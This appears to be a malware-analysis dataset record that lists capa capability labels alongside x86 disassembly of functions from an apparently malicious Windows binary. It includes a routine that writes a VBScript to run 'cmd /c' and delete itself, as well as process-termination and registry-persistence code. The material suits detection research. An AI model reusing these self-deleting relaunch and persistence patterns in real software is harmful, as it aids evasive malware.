joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d7ff
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00412850
mov esi, 0x475338
push esi
pop ecx
call fcn.0040247c
push eax
push esi
pop ecx
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x4752f0
call fcn.00401fab
push eax
pop edx
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d85f
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b978
push eax
pop edx
lea ecx, [ebp - 0x30]
call fcn.0041bc5e
push eax
pop edx
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
push eax
pop edx
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
push eax
pop edx
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
push eax
pop esi
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
push esi
pop edx
push eax
pop ecx
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d9ca
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d9ca
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40f8fd
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
push ecx
pop edi
call fcn.004020df
call fcn.0041bfb7
push 0
push 2
mov byte [0x474af4], al
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
push eax
pop esi
test esi, esi
je 0x40fb0b
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x40fb04
mov ebp, 0x4674c0
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040417e
mov ecx, dword [esp + 0x168]
push 0x4674bc
call fcn.0041bfe5
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.0041bb8e
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.0041bb8e
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041c1dd
push eax
pop edx
lea ecx, [esp + 0x114]
call fcn.0041bd1e
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.0041bd1e
push eax
push edi
pop edx
lea ecx, [esp + 0xf0]
call fcn.00406362
pop ecx
push eax
pop edx
lea ecx, [esp + 0xd4]
call fcn.00406383
pop ecx
push eax
pop edx
lea ecx, [esp + 0xb8]
call fcn.00402ea1
pop ecx
push eax
pop edx
lea ecx, [esp + 0x9c]
call fcn.00406383
pop ecx
push eax
pop edx
lea ecx, [esp + 0x80]
call fcn.00402ea1
pop ecx
push eax
pop edx
lea ecx, [esp + 0x64]
call fcn.00406383
pop ecx
push eax
pop edx
lea ecx, [esp + 0x48]
call fcn.00402ea1
pop ecx
push eax
pop edx
lea ecx, [esp + 0x2c]
call fcn.00406383
pop ecx
push eax
push edi
pop ecx
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x70]
call fcn.00401fd8
lea ecx, [esp + 0x88]
call fcn.00401fd8
lea ecx, [esp + 0xa0]
call fcn.00401fd8
lea ecx, [esp + 0xb8]
call fcn.00401fd8
lea ecx, [esp + 0xd0]
call fcn.00401fd8
lea ecx, [esp + 0xe8]
call fcn.00401fd8
lea ecx, [esp + 0x100]
call fcn.00401fd8
lea ecx, [esp + 0x118]
call fcn.00401f09
lea ecx, [esp + 0x130]
call fcn.00401fd8
lea ecx, [esp + 0x148]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401f09
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x40f961
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
pop eax
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x41194f
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x28
push ebx
push ecx
pop ebx
push ebp
push esi
push edi
mov esi, dword [ebx]
mov edx, dword [ebx + 0x3c]
movzx ebp, word [esi + 0x14]
add ebp, esi
mov eax, dword [ebp + 0x20]
push eax
pop ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], eax
call fcn.00411786
lea edx, [ebp + 0x18]
mov dword [esp + 0x28], eax
push ebx
pop ecx
call fcn.00411893
mov ebx, dword [ebp + 0x3c]
push eax
pop edi
and dword [esp + 0x34], 0
xor eax, eax
inc eax
mov dword [esp + 0x2c], edi
add ebp, 0x40
mov dword [esp + 0x30], ebx
cmp ax, word [esi + 6]
push ecx
pop esi
mov dword [esp + 0x20], eax
jae 0x411a61
mov eax, dword [ebp + 8]
push eax
pop ecx
mov edx, dword [esi + 0x3c]
mov dword [esp + 0x1c], eax
call fcn.00411786
push ebp
pop edx
mov dword [esp + 0x14], eax
push esi
pop ecx
call fcn.00411893
mov edx, dword [esp + 0x10]
push eax
pop ecx
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x28], eax
je 0x411a18
lea ecx, [edi + edx]
cmp ecx, eax
ja 0x411a14
lea edx, [esp + 0x24]
push esi
pop ecx
call fcn.004118b2
test eax, eax
je 0x411a7e
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [ebp + 0x24]
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
jmp 0x411a3c
mov ecx, dword [esp + 0x18]
mov eax, dword [ebp + 0x24]
mov edi, 0x2000000
test edi, eax
je 0x411a2c
test edi, ebx
je 0x411a2c
or ebx, eax
jmp 0x411a34
or ebx, eax
and ebx, 0xfdffffff
push ecx
pop edi
sub edi, edx
add edi, dword [esp + 0x1c]
mov eax, dword [esi]
add ebp, 0x28
mov ecx, dword [esp + 0x20]
inc ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], edi
movzx eax, word [eax + 6]
mov dword [esp + 0x20], ecx
cmp ecx, eax
jl 0x4119ab
xor eax, eax
inc eax
lea edx, [esp + 0x24]
mov dword [esp + 0x34], eax
push esi
pop ecx
call fcn.004118b2
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
xor eax, eax
jmp 0x411a76
Function at 0x412850
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x472d64]
mov byte [0x472d4b], 0
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0xffffffffffffffff
push dword [0x472d64]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x4132d2
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
cmp dword [0x474b28], 0
push ecx
pop eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
jne 0x4132f3
push 0xfffffffffffffffc
pop eax
jmp 0x4133f9
call fcn.00413472
test eax, eax
jne 0x413304
or eax, 0xffffffff
jmp 0x4133f9
push esi
push eax
push 0
push 0x440
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push eax
pop esi
test esi, esi
jne 0x413321
push 0xfffffffffffffffe
pop eax
jmp 0x4133f8
push ebp
push edi
mov edi, 0x400
push edi
mov dword [esp + 0x10], edi
call fcn.0043bd51
jmp 0x413356
push ebp
cmp eax, 0xc0000004
jne 0x413400
call fcn.0043bd4c
mov eax, dword [esp + 0x10]
add eax, edi
push eax
mov dword [esp + 0x14], eax
call fcn.0043bd51
pop ecx
pop ecx
push eax
pop ebp
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebp
push 0x33
push esi
call dword [0x474b24]
test eax, eax
js 0x413334
xor edi, edi
push ebx
cmp dword [ebp], edi
jbe 0x4133eb
lea ebx, [ebp + 8]
push 2
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x4133e2
push 0x208
lea eax, [esp + 0x24]
push 0
push eax
call fcn.00436e90
add esp, 0xc
lea eax, [esp + 0x20]
push 0
push 0x104
push eax
push dword [esp + 0x20]
call dword [0x474b28]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x41340b
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc edi
add ebx, 0x1c
cmp edi, dword [ebp]
jb 0x41337b
push ebp
call fcn.0043bd4c
pop ecx
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop ebp
pop esi
add esp, 0x218
ret
call fcn.0043bd4c
xor eax, eax
pop ecx
inc eax
jmp 0x4133f6
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
push edi
push edi
push edi
push eax
pop ebx
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push edi
push dword [esp + 0x18]
push eax
pop esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
pop edi
push edi
call fcn.0043bd51
mov ecx, dword [esp + 0x20]
push edi
push esi
push eax
mov dword [ecx], eax
call fcn.00436910
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebx
push dword [esp + 0x14]
call ebx
push ebp
call fcn.0043bd4c
pop ecx
push edi
pop eax
jmp 0x4133f5

Function at 0x4134ff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413542
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x413544
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x413549
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4135a0
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4135a2
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4135a6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
push ecx
pop edi
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413607
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
pop ecx
test esi, esi
jne 0x413609
lea eax, [ebp - 0x408]
push eax
jmp 0x41360e
push edi
pop ecx
push 0x4660a4
call fcn.00402093
push edi
pop eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41361b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
push ecx
pop esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x413674
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x413679
push 0x466468
push esi
pop ecx
call fcn.0040417e
push esi
pop eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x413687
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push ecx
pop edi
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
push edx
pop ebx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x4660a4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4136e7
cmp dword [ebp - 4], eax
jbe 0x4136e7
push dword [ebp - 4]
call fcn.0043bd51
push dword [ebp - 4]
push eax
pop esi
push 0
push esi
call fcn.00436e90
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
push edi
pop ecx
call fcn.0040417e
push edi
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4136f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413768
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x413768
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.00406cb7
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.00406d3c
mov al, 1
jmp 0x41376a
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41376f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4137bf
push esi
lea ecx, [ebp + 0xc]
call fcn.0040247c
push eax
lea ecx, [ebp + 0xc]
call fcn.00401fab
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x4137c1
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4137d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x41380e
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x413810
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x413814
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x413866
push esi
lea ecx, [ebp + 0xc]
call fcn.0040247c
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.00401f04
push eax
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x413868
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00401f09
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413877
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4138b9
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4138bb
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4138bf
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4138fd
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4138ff
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x413903
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x413941
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
push eax
pop esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x413943
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x413a23
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x413a3f
xor al, al
jmp 0x413a51
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret
Function at 0x413a55
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.004576b0
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
push ecx
pop ebx
call fcn.00436e90
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x413b33
test eax, eax
je 0x413b33
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x413b2d
push 0x467130
lea ecx, [ebp - 0x34]
call fcn.0040417e
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.004042fc
pop ecx
push eax
mov ecx, 0x4754b0
call fcn.0040325d
lea ecx, [ebp - 0x68]
call fcn.00401f09
lea ecx, [ebp - 0x34]
call fcn.00401f09
inc esi
cmp esi, dword [ebp - 4]
jb 0x413acd
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x413c75
xor esi, esi
test eax, eax
je 0x413c75
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x413c6b
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.00441e81
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x467130
call fcn.0040417e
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.004042fc
pop ecx
push eax
mov ecx, 0x4754c8
call fcn.0040325d
lea ecx, [ebp - 0x34]
call fcn.00401f09
lea ecx, [ebp - 0x80]
call fcn.00401f09
push 0x4660c0
lea ecx, [ebp - 0x34]
call fcn.00402093
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.004052fd
pop ecx
push eax
mov ecx, 0x4754e0
call fcn.00403376
lea ecx, [ebp - 0x80]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402093
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.004020b7
push eax
pop edx
lea ecx, [ebp - 0x80]
call fcn.00402ea1
pop ecx
push eax
mov ecx, 0x475578
call fcn.00403376
lea ecx, [ebp - 0x80]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x98]
call fcn.00401fd8
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x413b48
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret